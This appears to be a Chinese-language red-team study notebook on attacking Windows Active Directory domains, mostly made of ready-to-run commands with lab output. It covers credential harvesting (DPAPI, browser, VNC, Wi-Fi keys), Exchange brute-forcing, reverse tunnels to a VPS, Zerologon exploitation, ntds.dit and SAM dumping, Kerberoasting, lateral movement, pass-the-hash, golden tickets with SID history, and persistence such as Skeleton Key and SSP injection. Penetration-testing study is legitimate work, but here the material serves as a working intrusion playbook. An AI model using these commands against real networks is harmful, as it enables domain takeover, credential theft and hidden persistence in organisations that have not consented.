Windows内网渗透

关键词: LDAP, Windows, 域, 持久化, 漏洞 状态: 进行中

学习资料

https://security.tencent.com/index.php/blog/msg/154

0x01 SPN(Service Principal Names)

  服务主体名称:使用Kerberos须为服务器注册SPN,因此可以在内网中扫描SPN,快速寻找内网中注册的服务,SPN扫描可以规避像端口扫描的不确定性探测动作。主要利用工具有:setspn、GetUserSPNs.vbs和Rubeus。

介绍:

服务主体名称(Service Principal Names)是Kerberos客户端用于唯一标识给特定Kerberos目标计算机的服务实例名称。Kerberos身份验证使用SPN将服务实例与服务登录帐户相关联。如果在整个林中的计算机上安装多个服务实例,则每个实例都必须具有自己的SPN。SPN分为两种:

(1)机器账户(Computers)注册:服务权限通常是Local System或者Network Service

(2)域用户账户(Users)注册:注册在一个域用户权限下

1. 域内常见的SPN实例
    * MSSQLSvc/SQLAP01.makapaka.garden:1433
    * ExchangeMDB/EXCAS01.makapaka.garden
    * TERMSERV/EXCAS01.makapaka.garden
    * WSMAN/EXCAS01.makapaka.garden
    * ……

2. 常见的服务主体名称和对应的服务
    * AcronisAgent针对Acronis备份和数据恢复软件
    * AfpserverApple归档协议
    * AgpmServerMicrosoft高级策略管理AGPM
    * ExchangeABExchange通讯簿服务
    * ExchangeRFR交换通讯簿服务
    * ExchangeMDBRPC客户端访问服务器角色
    * MSSQLSvcMicrosoft SQL Server
    * MSOMHSvcMicrosoft 系统中心运营经理管理服务器
    * MSOMSdkSvcMicrosoft System Center Operations Manager 管理服务器
    * MSServerClusterWindows集群服务器
    * MSServerClusterMgmtAPI集群的API需要此SPN才能使用Kerberos向服务器进行验证
    * MSClusterVirtualServerWindows 集群服务器
    * TERMSRVMicrosoft 远程桌面协议服务
    * WSMANWindows远程管理服务
    * ……
  1. 利用Windows自带的setspn工具,普通域用户权限执行即可
setspn -T makapaka.garden -Q */*
C:\Users\dev1>setspn -T makapaka.garden -Q */*
正在检查域 DC=makapaka,DC=garden
CN=AD2012,OU=Domain Controllers,DC=makapaka,DC=garden
        Dfsr-12F9A27C-BF97-4787-9364-D31B6C55EB04/AD2012.makapaka.garden
        ldap/AD2012.makapaka.garden/ForestDnsZones.makapaka.garden
        ldap/AD2012.makapaka.garden/DomainDnsZones.makapaka.garden
        DNS/AD2012.makapaka.garden
        GC/AD2012.makapaka.garden/makapaka.garden
        RestrictedKrbHost/AD2012.makapaka.garden
        RestrictedKrbHost/AD2012
        RPC/0107c860-e9bf-4bd7-9fe0-54bdcb78cba8._msdcs.makapaka.garden
        HOST/AD2012/MAKAPAKA
        HOST/AD2012.makapaka.garden/MAKAPAKA
        HOST/AD2012
        HOST/AD2012.makapaka.garden
        HOST/AD2012.makapaka.garden/makapaka.garden
        E3514235-4B06-11D1-AB04-00C04FC2DCD2/0107c860-e9bf-4bd7-9fe0-54bdcb78cba8/makapaka.garden
        ldap/AD2012/MAKAPAKA
        ldap/0107c860-e9bf-4bd7-9fe0-54bdcb78cba8._msdcs.makapaka.garden
        ldap/AD2012.makapaka.garden/MAKAPAKA
        ldap/AD2012
        ldap/AD2012.makapaka.garden
        ldap/AD2012.makapaka.garden/makapaka.garden
CN=krbtgt,CN=Users,DC=makapaka,DC=garden
        kadmin/changepw
CN=DEVC1,CN=Computers,DC=makapaka,DC=garden
        RestrictedKrbHost/DEVC1
        HOST/DEVC1
        RestrictedKrbHost/DevC1.makapaka.garden
        HOST/DevC1.makapaka.garden
CN=AD2016,OU=Domain Controllers,DC=makapaka,DC=garden
        WSMAN/AD2016
        WSMAN/AD2016.makapaka.garden
        E3514235-4B06-11D1-AB04-00C04FC2DCD2/2d4c35d0-2c5a-4f52-a001-e6a4a3216f88/makapaka.garden
        Dfsr-12F9A27C-BF97-4787-9364-D31B6C55EB04/AD2016.makapaka.garden
        RestrictedKrbHost/AD2016
        HOST/AD2016
        RestrictedKrbHost/AD2016.makapaka.garden
        HOST/AD2016.makapaka.garden
CN=UBUNTU,CN=Computers,DC=makapaka,DC=garden
        RestrictedKrbHost/UBUNTU
        HOST/UBUNTU
        RestrictedKrbHost/UBUNTU.makapaka.garden
        HOST/UBUNTU.makapaka.garden

发现存在 SPN!

2.GetUserSPNs.vbs

https://github.com/nidem/kerberoast/blob/master/GetUserSPNs.vbs

3.Rubeus

https://github.com/GhostPack/Rubeus

0x02 端口及连接

netstat -ano

0x03 配置文件

查找相关字段:
cd /web findstr /s /m "password" *.*
常用应用的默认配置路径:
Tomcat: CATALINA_HOME/conf/tomcat-users.xml
Apache: /etc/httpd/conf/httpd.conf
Nginx: /etc/nginx/nginx.conf
Wdcp: /www/wdlinux/wdcp/conf/mrpw.conf
Mysql: mysql\data\mysql\user.MYD

0x04 搜集用户信息与定位域控制器

net group "domain controllers" /domain
net time /domain
net group "domain admins" /domain
net user /domain

0x05 内网主机发现

net view
arp -a
linux: cat /etc/hosts
windows: type c:\Windows\system32\drivers\etc\hosts
#查看DNS缓存
C:\Users\dev1>ipconfig /displaydns

Windows IP 配置

    ad2016.makapaka.garden
    ----------------------------------------
    记录名称. . . . . . . : ad2016.makapaka.garden
    记录类型. . . . . . . : 1
    生存时间. . . . . . . : 1757
    数据长度. . . . . . . : 4
    部分. . . . . . . . . : 答案
    A (主机)记录  . . . . : 172.16.1.202

    记录名称. . . . . . . : ad2016.makapaka.garden
    记录类型. . . . . . . : 1
    生存时间. . . . . . . : 1757
    数据长度. . . . . . . : 4
    部分. . . . . . . . . : 答案
    A (主机)记录  . . . . : 192.168.235.202

    ad2012.makapaka.garden
    ----------------------------------------
    记录名称. . . . . . . : AD2012.makapaka.garden
    记录类型. . . . . . . : 1
    生存时间. . . . . . . : 583
    数据长度. . . . . . . : 4
    部分. . . . . . . . . : 答案
    A (主机)记录  . . . . : 192.168.235.131

扫描工具nmap,nbtscan等

0x06 会话收集

查看用户登陆过的机器

NetSessionEnum function (lmshare.h)

https://docs.microsoft.com/en-us/windows/win32/api/lmshare/nf-lmshare-netsessionenum

PowerView(Windows Definder 拦截)未继续测试

https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1

Import-Module .\PowerView.ps1
Invoke-UserHuner -UserName "DevUser1" #查看用户登陆的机器
Get-NetSession -ComputerName DevServer1 #查看机器登陆过的用户

0x07 凭据收集

远程连接凭据

cmdkey /list
C:\Users\dev1>cmdkey /list

当前保存的凭据:

    目标: MicrosoftAccount:target=SSO_POP_Device
    类型: 普通
    用户: 02elvhzknxtoutsr
    仅为此登录保存

    目标: WindowsLive:target=virtualapp/didlogical
    类型: 普通
    用户: 02elvhzknxtoutsr
    本地机器持续时间

Navicat:

MySQL HKEY_CURRENT_USER\Software\PremiumSoft\Navicat\Servers\

MariaDB HKEY_CURRENT_USER\Software\PremiumSoft\NavicatMARIADB\Servers\

MongoDB HKEY_CURRENT_USER\Software\PremiumSoft\NavicatMONGODB\Servers\

Microsoft SQL HKEY_CURRENT_USER\Software\PremiumSoft\NavicatMSSQL\Servers\

Oracle HKEY_CURRENT_USER\Software\PremiumSoft\NavicatOra\Servers\

PostgreSQL HKEY_CURRENT_USER\Software\PremiumSoft\NavicatPG\Servers\

SQLite HKEY_CURRENT_USER\Software\PremiumSoft\NavicatSQLite\Servers\

SecureCRT:

# xp/win2003
C:\Documents and Settings\USERNAME\Application Data\VanDyke\Config\Sessions
# win7/win2008以上
C:\Users\USERNAME\AppData\Roaming\VanDyke\Config\Sessions

Xshell:

# Xshell 5 %userprofile%用户目录

%userprofile%\Documents\NetSarang\Xshell\Sessions

# Xshell 6

%userprofile%\Documents\NetSarang Computer\6\Xshell\Sessions

WinSCP:

HKCU\Software\Martin Prikryl\WinSCP 2\Sessions

VNC:

# RealVNC
HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\vncserver Password

# TightVNC
HKEY_CURRENT_USER\Software\TightVNC\Server Value Password or PasswordViewOnly

# TigerVNC
HKEY_LOCAL_USER\Software\TigerVNC\WinVNC4 Password

# UltraVNC
C:\Program Files\UltraVNC\ultravnc.ini passwd or passwd2

0x08 DPAPI(Data Protection Application Programming Interface)

Windows 2000及以上版本,提供的程序开发接口。其分别提供了加密函数CryptProtectData 与解密函数CryptUnprotectData。

其作用范围包括且不限于:

outlook客户端密码

windows credential凭据

chrome保存的密码凭据

internet explorer密码凭据

DPAPI采用的加密类型为对称加密,存放密钥的文件则被称之为Master Key Files,其路径一般为%APPDATA%\Microsoft\Protect{SID}{GUID}。其中{SID}为用户的安全标识符,{GUID}为主密钥名称。我们可以利用用户的密码/hash或域备份密钥解密主密钥,然后解密被dpapi加密的数据。

https://docs.microsoft.com/en-us/dotnet/standard/security/how-to-use-data-protection

# 解密Chrome密码
mimikatz dpapi::chrome /in:”%localappdata%\Google\Chrome\User Data\Default\Login Data /unprotect
# 解密Credential密码
mimikatz vault::cred /patch

0x09 域信任关系

nltest /domain_trusts

C:\Users\dev1>nltest /domain_trusts
域信任的列表:
    0: MAKAPAKA makapaka.garden (NT 5) (Forest Tree Root) (Primary Domain) (Native)
此命令成功完成

0x10 域传送

C:\Users\dev1>nslookup
默认服务器:  UnKnown
Address:  192.168.235.2

> server ad2012.makapaka.garden
*** 无法找到服务器 ad2012.makapaka.garden 的地址: Non-existent domain
> server 172.16.1.201
默认服务器:  [172.16.1.201]
Address:  172.16.1.201

> ls makapaka.garden
[[172.16.1.201]]
*** 无法列出域 makapaka.garden: Query refused
DNS 服务器拒绝将区域 makapaka.garden 传送到你的计算机如果这不正确
请检查 IP 地址 172.16.1.201 的 DNS 服务器上 makapaka.garden 的
区域传送安全设置
# windows
nslookup -type=ns domain.com nslookup sserver dns.domain.com ls domain.com
# linux
dig @dns.domain.com axfr domain.com

0x11 DNS记录获取

Dnscmd仅在windowsServer上有

C:\Users\admin>Dnscmd . /ZonePrint makapaka.garden

;
;  区域:    makapaka.garden
;  服务器:  AD2012.makapaka.garden
;  时间:    Tue Jun 29 07:06:55 2020 UTC
;

DNS 服务器未能枚举节点 @ 的记录
    状态 = ERROR_ACCESS_DENIED     5  (0x00000005)
Dnscmd . /EnumRecords makapaka.garden .

在非windows server机器上,可以使用PowerView获取

import-module PowerView.ps1 Get-DNSRecord -ZoneName jumbolab.com

0x12 WIFI

for /f skip=9 tokens=1,2 delims=:” %i in ('netsh wlan show profiles') do @echo %j | findstr -i -v echo | netsh wlan show profiles %j key=clear

同上

C:\Users\admin>netsh wlan show profile

接口 WLAN 上的配置文件:

组策略配置文件(只读)
---------------------------------
    <无>

用户配置文件
-------------
    所有用户配置文件 : test
C:\Users\admin>netsh wlan show profile name="test" key="clear"

接口 WLAN 上的配置文件 llcc:
=======================================================================

已应用: 所有用户配置文件

配置文件信息
-------------------
    版本                   : 1
    类型                   : 无线局域网
    名称                   : test
    控制选项               :
        连接模式           : 自动连接
        网络广播           : 只在网络广播时连接
        AutoSwitch         : 请勿切换到其他网络
        MAC 随机化: 禁用

连接设置
---------------------
    SSID 数目              : 1
    SSID 名称              :“test
    网络类型               : 结构
    无线电类型             : [ 任何无线电类型 ]
    供应商扩展名           : 不存在

安全设置
-----------------
    身份验证         : WPA2 - 个人
    密码                 : CCMP
    身份验证         : WPA2 - 个人
    密码                 : GCMP
    安全密钥               : 存在
    关键内容            : 123456789

费用设置
-------------
    费用                : 无限制
    阻塞                : 否
    接近数据限制        : 否
    过量数据限制        : 否
    漫游                : 否
    费用来源            : 默认

0x13 GPP 组策略首选项和SYSVOL中的密码

当分发组策略时,会在域的SYSVOL目录下生成一个gpp配置的xml文件

域渗透-SYSVOL密码-LAPS

0x14 自动化信息搜集

Seatbelt

自动化的信息收集,包括不限于google历史记录、用户等

https://github.com/GhostPack/Seatbelt

Bloodhound

自动化的信息收集,包括用户、计算机、组织架构、最快的攻击途径等。但是自动化也意味着告警,该漏洞做自动化信息收集时,会在内网设备上产生大量的告警,按需使用(不要用)

https://github.com/BloodHoundAD/BloodHound

0x15 Exchange

  1. 邮箱用户密码爆破

    使用ruler工具对owa接口进行爆破

    ./ruler domain targetdomain.com brute users /path/to/user.txt passwords /path/to/passwords.txt
    
  2. 通讯录收集

    Get-GlobalAddressList -ExchHostname mail.domain.com -UserName domain\username -Password Fall2016 -OutFile global-address-list.txt
    
  3. 信息收集

    获取所有邮箱用户
    
    Get-Mailbox
    
    导出邮件
    
    New-MailboxexportRequest -mailbox username -FilePath (\localhost\c\$\test\username.pst)
    
    也可以通过web口导出登录
    
    https://mail.domain.com/ecp/
    
    导出后会有记录用如下命令可以查看
    
    Get-MailboxExportRequest
    
    删除某个导出记录
    
    Remove-MailboxExportRequest -Identity username\mailboxexport -Confirm:\$false
    

0x16 传输通道

  1. netsh

    A机器执行如下命令

    netsh interface portproxy add v4tov4 listenport=5555 connectport=3389 connectaddress=192.168.1.1 protocol=tcp
    

    B机器访问A机器的5555端口,即是192.168.1.1的3389端口

  2. ssh

    #a 开启socks代理:正向代理访问1.1.1.1网络
    ssh -qTfnN -D 1111 root@1.1.1.1
    输入1.1.1.1机器密码本地利用proxychains等类似工具连接本地的1111端口的sock5连接即可代理1.1.1.1的网络
    
    #b LOCAL:2121->HOSTB->HOST:21
    ssh -CNfg -L 2121:HOSTC:21 root@HOSTB
    
    #c HOSTB:2121->LOCAL->HOST:21
    ssh -CNfg -R 2121:HOSTC:21 root@HOSTB
    
  3. regeorg

  4. ew

  5. lcx

    #反向代理
    VPS: lcx -listen 1111 2222
    internal: lcx -slave VPS 1111 localhost 3389
    local -> VPS:2222 -> internal:3389
    
    #端口转发
    internal: lcx.exe -tran 1111 2.2.2.2 8080
    local -> internal:1111 -> 2.2.2.2:8080
    
  6. iox

    https://github.com/EddieIvan01/iox

    #端口转发
    ./iox fwd -l 8888 -r 1.1.1.1:9999
    0.0.0.0:8888->1.1.1.1:9999
    
    #正向代理
    ./iox proxy -l 1080
    
    #反向代理
    internal./iox proxy -r VPS:9999
    VPS转发: ./iox proxy -l 9999 -l 1080 # 注意,这两个端口是有顺序的
    localsocks->VPS:1080->internal
    
    -k keytext #启用加密
    
  7. powercat

    powershell版nc ,未测试

  8. mssql

    利用mssql执行clr作为传输通道

    https://github.com/blackarrowsec/mssqlproxy

    # 连接MSSQL
    CMD> python mssqlclient.py maka8ka.garden/Administrator@10.10.10.1 -windows-auth
    SQL> enable_ole
    SQL> upload reciclador.dll C:\Windows\temp\reciclador.dll                                                              
    [+] Uploading 'reciclador.dll' to 'C:\Windows\temp\reciclador.dll'...                                                  
    [+] Size is 552448 bytes                                                                                               
    [+] Upload completed                                                                                                   
    SQL> exit
    CMD> python mssqlclient.py maka8ka.garden/Administrator@10.10.10.1 -windows-auth -install -clr Microsoft.SqlServer.Proxy.dll
    CMD> python mssqlclient.py maka8ka.garden/Administrator@10.10.10.1 -windows-auth -check -reciclador 'C:\Windows\temp\reciclador.dll'
    CMD> python mssqlclient.py maka8ka.garden/Administrator@10.10.10.1 -windows-auth -start -reciclador 'C:\Windows\temp\reciclador.dll'
    [*] ACK: Result: 1 - Microsoft SQL Server (140 3232)                                                                   
    [*] Proxy mode: start                                                                                                  
    [*] Listening on port 1337...                                                                                          
    [*] New connection
    
    CMD> proxychains4 -f src/proxychains.conf curl http://10.10.10.11
    [proxychains] Strict chain  ...  127.0.0.1:1337  ...  10.10.10.11:80  ...  OK
    

0x17 权限提升

  1. UAC

  2. MS14-068

  3. exchange漏洞提权

    net user maka8ka_exchanger 1qaz!QAZ /add /do:
    net group "Domain admins" maka8ka_exchanger /add /do:
    net group "Discovery Management" maka8ka_exchanger /add /do:
    net group "Organization Management" maka8ka_exchanger /add /do:
    
  4. CVE-2020-1472

    CVE-2020-1472 域内提权漏洞利用
    运行poc查看是否存在漏洞
    lsadump::zerologon /target:dc-tpe-ad2016.makapaka.garden /account:dc-tpe-neihu6$
    运行exp把域控主机hash置为空
    lsadump::zerologon /target:dc-tpe-ad2016.makapaka.garden /account:dc-tpe-neihu5$ /exploit
    查看指定用户的hash(此命令需要在域中主机执行)
    lsadump::dcsync /domain:maka8ka.garden /dc:dc-tpe-ad2016.makapaka.garden /user:administrator /authuser:dc-tpe-ad2016$ /authdomain:MAKAPAKA /authpassword:"" /authntlm
    恢复密码
    lsadump::postzerologon /target:dc-tpe-ad2016.makapaka.garden /account:dc-tpe-ad2016$
    

0x18 密码获取

  1. 本地用户凭据

    reg save hklm\sam c:\windows\temp\sam.hive
    reg save hklm\system c:\windows\temp\system.hive
    reg save hklm\security c:\windows\temp\security.hive
    
    saminside.exe
    
  2. 域用户凭据

    域控制器抓取域成员hash2008,20122016
    ntdsutil  snapshot  "list all" quit quit  //查看全部快照
    ntdsutil  snapshot  "activate  instance  ntds" create quit quit  //创建快照
    ntdsutil  snapshot  "list all" quit quit  //查看全部快照
    ntdsutil  snapshot  "mount {d3xxxxxed-5474-4929-8273-e8xxxxx2af}" quit quit  //挂载快照为文件夹
    copy C:\$SNAP_20170xxxx256_VOLUMEC$\windows\ntds\ntds.dit  //拷贝快照文件夹中hash存储文件
    ntdsutil  snapshot  "unmount {xxxxxxe86-84f0-41c4-816c-13xxxxx6de0d}" quit quit   //卸载快照
    ntdsutil  snapshot  "delete {98xxxxx0e-86ba-4ac2-acc4-f8xxxxx3}" quit quit    //删除快照
    "C:\Program Files\7-Zip\7z.exe" a ntds.7z C:\windows\system32\ntds.dit   //压缩hash存储文件+
    
    NTDSDumpEx.exe -d ntds.dit -o hash.txt -s system.hive
    

0x19 token窃取

Windows-程序降权启动

0x20 Kerberoasting

简介

在KRB_TGS_REP中,TGS会返回给Client一张票据ST,而ST是由Client请求的Server端密码进行加密的。当Kerberos协议设置票据为RC4方式加密时,我们就可以通过爆破在Client端获取的票据ST,从而获得Server端的密码。

理解为,利用已知的与用户注册SPN,请求TGS,导出请求的TGS本地进行爆破

需要在域内主机执行

原理

/images/WindowsInternalAttack/Untitled.png

as_request
as_reply
tgs_request
tgs_reply
ap_request
ap_reply
对于4.tgs_reply用户将会收到由目标服务实例的NTLM hash加密生成的TGS(service ticket)加密算法为RC4-HMAC

站在利用的角度当获得这个TGS后我们可以尝试穷举口令模拟加密过程生成TGS进行比较如果TGS相同代表口令正确就能获得目标服务实例的明文口令

利用方法一

1、获取有价值的SPN

需满足条件

  • 该SPN注册在域用户帐户(Users)下
  • 域用户账户的权限很高

(1)使用powershell模块Active Directory

域控上默认安装
import-module ActiveDirectory
get-aduser -filter {AdminCount -eq 1 -and (servicePrincipalName -ne 0)} -prop * |select name,whencreated,pwdlastset,lastlogon

默认未安装导入dll

import-module .\Microsoft.ActiveDirectory.Management.dll

Microsoft.ActiveDirectory.Management.zip

(2)使用PowerView

https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1

Get-NetUser -spn -AdminCount|Select name,whencreated,pwdlastset,lastlogon

(3)使用kerberoast

https://github.com/nidem/kerberoast/blob/master/GetUserSPNs.ps1

https://github.com/nidem/kerberoast/blob/master/GetUserSPNs.vbs

cscript GetUserSPNs.vbs

2、请求TGS

(1)请求指定TGS

$SPNName = 'MSSQLSvc/DC1.test.com'
Add-Type -AssemblyNAme System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $SPNName

(2)请求所有TGS

Add-Type -AssemblyName System.IdentityModel
setspn.exe -q */* | Select-String '^CN' -Context 0,1 | % {New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $_.Context.PostContext[0].Trim()}

使用klist命令查看内存中的票据

PS C:\Users\dev1\Desktop> klist

当前登录 ID 是 0:0x12f1c6

缓存的票证: (10)

#0>     客户端: Dev1 @ MAKAPAKA.GARDEN
        服务器: krbtgt/MAKAPAKA.GARDEN @ MAKAPAKA.GARDEN
        Kerberos 票证加密类型: AES-256-CTS-HMAC-SHA1-96
        票证标志 0x60a10000 -> forwardable forwarded renewable pre_authent name_canonicalize
        开始时间: 6/30/2020 17:10:39 (本地)
        结束时间:   7/1/2020 3:10:39 (本地)
        续订时间: 7/7/2020 17:10:39 (本地)
        会话密钥类型: AES-256-CTS-HMAC-SHA1-96
        缓存标志: 0x2 -> DELEGATION
        调用的 KDC: AD2012.makapaka.garden

#1>     客户端: Dev1 @ MAKAPAKA.GARDEN
        服务器: krbtgt/MAKAPAKA.GARDEN @ MAKAPAKA.GARDEN
        Kerberos 票证加密类型: AES-256-CTS-HMAC-SHA1-96
        票证标志 0x40e10000 -> forwardable renewable initial pre_authent name_canonicalize
        开始时间: 6/30/2020 17:10:39 (本地)
        结束时间:   7/1/2020 3:10:39 (本地)
        续订时间: 7/7/2020 17:10:39 (本地)
        会话密钥类型: AES-256-CTS-HMAC-SHA1-96
        缓存标志: 0x1 -> PRIMARY
        调用的 KDC: AD2012.makapaka.garden

3、导出

mimikatz
kerberos::list /export

4、破解

https://github.com/nidem/kerberoast/blob/master/tgsrepcrack.py

./tgsrepcrack.py wordlist.txt test.kirbi

利用方法二

自动实现,并且不需要mimikatz,普通用户权限即可,参考资料:

http://www.harmj0y.net/blog/powershell/kerberoasting-without-mimikatz/

https://github.com/EmpireProject/Empire/commit/6ee7e036607a62b0192daed46d3711afc65c3921

Invoke-Kerberoast.zip

域内普通机器

import-module ./Invoke-Kerberoast.ps1
Invoke-Kerberoast -AdminCount -OutputFormat Hashcat | fl
#-AdminCount表示选择高权限的用户

#只提取出hash的参数如下:
Invoke-Kerberoast -AdminCount -OutputFormat Hashcat | Select hash | ConvertTo-CSV -NoTypeInformation

hashcat 破解

hashcat -m 13100 /tmp/hash.txt /tmp/password.list -o found.txt --force

Kerberoasting的后门

取得了SPN的修改权限,为指定的域用户添加一个SPN,随时获得该域用户的TGS,破解后获得明文口令

#例如为域用户Administrator添加SPNVNC/DC1.test.com,参数如下:
setspn.exe -U -A VNC/DC1.test.com Administrator

在域内任意一台主机都能获得该SPN,并且能够使用Kerberoast获得TGS

再使用hashcat破解即可

参考文章:https://3gstudent.github.io/域渗透-Kerberoasting

0x21 LAPS

域渗透-SYSVOL密码-LAPS

0x22 横向移动

  1. IPC

    net use \\10.10.0.1\ipc\$ password /user:username
    
  2. Psexec

    psexec \\10.10.0.1 -accepteula -u administrator -p password cmd.exe
    psexec \\10.10.0.1 -accepteula -u administrator -p password -s cmd /c "quser"
    psexec.py makapaka.garden/administrator:password@10.10.0.1
    
  3. WMI

    方法一 
    wmic /user:"makapaka.garden\Dev1" /password:"password" /node:10.10.0.1 process call create "notepad"
    
    方法二 
    Invoke-WmiMethod -class win32_process -name create -argumentlist 'notepad' -ComputerName 10.10.0.1 -Credential 'makapaka.garden\Dev1'
    
    方法三
    $filterName = 'BotFilter82'
    $consumerName = 'BotConsumer23'
    $exePath = 'C:\Windows\System32\notepad.exe'
    $Query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'"
    $WMIEventFilter = Set-WmiInstance -Class __EventFilter -NameSpace "root\subscription" -Arguments @{Name=$filterName;EventNameSpace="root\cimv2";QueryLanguage="WQL";Query=$Query} -ErrorAction Stop -ComputerName 10.10.0.1 -Credential 'makapaka.garden\Dev1'
    $WMIEventConsumer = Set-WmiInstance -Class CommandLineEventConsumer -Namespace "root\subscription" -Arguments @{Name=$consumerName;ExecutablePath=$exePath;CommandLineTemplate=$exePath}  -ComputerName 10.10.0.1 -Credential 'makapaka.garden\Dev1'
    Set-WmiInstance -Class __FilterToConsumerBinding -Namespace "root\subscription" -Arguments @{Filter=$WMIEventFilter;Consumer=$WMIEventConsumer}
    
  4. Schtasks

    schtasks /create /s 10.10.0.1 /u makapaka.garden\Dev1 /p password /ru "SYSTEM" /tn "windowsupdate" /sc DAILY /tr "calc" /F 
    schtasks /run /s 10.10.0.1 /u makapaka.garden\Dev1 /p password /tn windowsupdate
    
  5. AT

    at \10.10.0.1 09:56 calc
    
  6. SC

    sc \10.10.0.1 create windowsupdate binpath= "calc" sc \10.10.0.1 start windowsupdate
    
  7. REG

    reg add \10.10.0.1\HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v myentry /t REG_SZ /d "calc"
    
  8. DCOM

    方法一
    $com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","10.10.0.1"))
    $com.Document.ActiveView.ExecuteShellCommand('cmd.exe',$null,"/c calc.exe","Minimized")
    方法二
    $com = [Type]::GetTypeFromCLSID('9BA05972-F6A8-11CF-A442-00A0C90A8F39',"10.10.0.1")
    $obj = [System.Activator]::CreateInstance($com)
    $item = $obj.item()
    $item.Document.Application.ShellExecute("cmd.exe","/c calc.exe","c:\windows\system32",$null,0)
    方法三
    $com = [Type]::GetTypeFromCLSID('C08AFD90-F2A1-11D1-8455-00A0C91F3880',"10.10.0.1")
    $obj = [System.Activator]::CreateInstance($com)
    $obj.Document.Application.ShellExecute("cmd.exe","/c calc.exe","c:\windows\system32",$null,0)
    
  9. WIMRM

    1. 在Windows Vista上必须手动启动WinRM服务,但从Windows Server 2008开始,WinRM服务自动启动
    2. 默认情况下,WinRM服务后台已经运行,但并不开启监听模式,因此无法接受和发送数据
    3. 使用WinRM提供的quickconfig对WinRM进行配置后,Windows将开启监听并打开HTTP及HTTPS监听端口,同时Windows防火墙生成这两个端口的例外
    开启winrm
    查看状态
    winrm enumerate winrm/config/listener
    
    基础配置
    winrm quickconfig
    
    查看状态
    winrm e winrm/config/listener #同上
    
    配置auth
    winrm set winrm/config/service/auth @{Basic="true"}
    
    配置加密方式非加密
    winrm set winrm/config/service @{AllowUnencrypted="true"}
    
    可选-配置为基本身份呢验证
    winrm s winrm/config/Client/Auth @{Basic="true"}
    
    
    winrm invoke Create wmicimv2/win32_process @{CommandLine="calc.exe"} -r:http://10.10.0.1:5985 -u:administrator -p:123456
    winrs -r:http://10.10.0.1:5985 -u:Dev1 -p:password "whoami" winrs -r:http://10.10.0.1:5985 -u:makapaka.garden\Dev1 -p:password "whoami"
    

0x22 票据传递

  1. impacket套件

    https://github.com/SecureAuthCorp/impacket

    python wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:226127b671f0b6ae0664ff0511a8c978 MAKAPAKA/Dev1@1.1.1.1 "whoami"
    
    psexec.exe -hashes aad3b435b51404eeaad3b435b51404ee:226127b671f0b6ae0664ff0511a8c978 MAKAPAKA/Dev1@1.1.1.1 "whoami"
    
    smbexec.exe -hashes aad3b435b51404eeaad3b435b51404ee:226127b671f0b6ae0664ff0511a8c978 MAKAPAKA/Dev1@1.1.1.1 "whoami"
    
  2. Invoke-TheHash套件

    https://github.com/Kevin-Robertson/Invoke-TheHash/

    Invoke-WMIExec -Target 10.10.0.1 -Domain makapaka.garden -Username username -Hash 226127b671f0b6ae0664ff0511a8c978 -Command "calc.exe" -verbose
    
    Invoke-SMBExec -Target 10.10.0.1 -Domain makapaka.garden -Username username -Hash 226127b671f0b6ae0664ff0511a8c978 -Command "calc.exe" -verbose
    
  3. mimikatz

    privilege::debug sekurlsa::pth /user:test1 /domain:makapaka.garden /ntlm:226127b671f0b6ae0664ff0511a8c978
    

    安装KB2871997补丁后,可以使用AES-256密钥进行hash传递:

    privilege::debug 
    sekurlsa::ekeys
    privilege::debug
    sekurlsa::pth /user:test1 /domain:test.local /aes256:aes256key
    
  4. NTLM-Relay(需在内网中具有ip)

    https://github.com/SpiderLabs/Responder

    1. LLMNR

      网络代理自动发现协议

      responder -I eth0
      
    2. WPAD

      网络自动发现协议,访问不存在的域名获得401认证

      responder -I eth0 -wFb
      

    实现ntlmrelay,域管机器访问不存在的机器时,会中继到域控机器,我们成功获取shell

    responder -I eth0 ntlmrelayx.py -t dcserver -l ./
    

0x23 域信任

当存在子父域时,默认其是双向信任。可以利用sid history跨域提权

mimikatz命令

#1 获取子域的 krbtgthash
lsadump::lsa /patch

#2 使用powerview获取父域sid
Get-DomainComputer -Domain makapaka.com

#3 然后添加一个sid=519的企业管理员
kerberos::golden /user:Adminsitrator /krbtgt:5a1c26831592774a17f70370b8606449 /domain:child.makapaka.com /sid:S-1-5-21-17子域9982-4053697927-1628754434 /sids:S-1-5-21-4父域272-2299089681-4131927610-519 /ptt

0x24 Kerberos票据

  1. 票据→https://maka8ka.github.io/post/windows认证

    • kekeo
    kekeo "tgt::ask /user:test1 /domain:test.local /ntlm:7ECFFFF0C3548187607A14BAD0F88BB1"
    执行后生成票据 TGT_test1@TEST.LOCAL_krbtgt~test.local@TEST.LOCAL.kirbi
    kekeo "kerberos::ptt TGT_test1@TEST.LOCAL_krbtgt~test.local@TEST.LOCAL.kirbi" dir \server\c\$
    
  2. 委派

    https://maka8ka.github.io/post/域渗透-kerberos委派/

0x25 域权限维持

  1. DSRM

    DSRM,目录服务还原模式,是Windows服务器域控制器的安全模式启动选项。DSRM允许管理员用来修复或还原修复或重建活动目录数据库。DSRM账户实际上就是“Administrator”,也就是域控上面的本地管理员账号,非域管理员账号。当建立域控时,会让我们设置DSRM密码

    #域控制器
    ntdsutil
    set DSRM password
    SYNC FROM DOMAIN ACCOUNT username #username 为需要同步密码的域用户
    Q
    Q
    
    添加注册表
    reg add  HKLM\System\CurrentControlSet\Control\Lsa /v DSRMAdminLogonBehavior /t REG_DWORD /d 2
    
    即可通过域控本地管理员登陆域控
    sekurlsa::pth /domain:computername /user:Administrator /ntlm: b367819c0a8ccd792cad1d034f56a1fa
    
  2. GPO

    当我们获取到管理员权限时,可以通过添加组策略手段,实现用户开机自启动等操作

    gpupdate /force
    强制刷新组策略
    
  3. SSP

    将mimilib.dll复制到域控c:\windows\system32
    HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Lsa\Security Packages\
    mimilib.dll
    

    /images/WindowsInternalAttack/Untitled%201.png

    重启后记录登录的密码。不重启,要利用RPC调用动态加载SSP(后续补充学习)。

  4. Skeleton Key

    使用mimikatz安装万能密码

    privilege::debug
    misc::skeleton
    

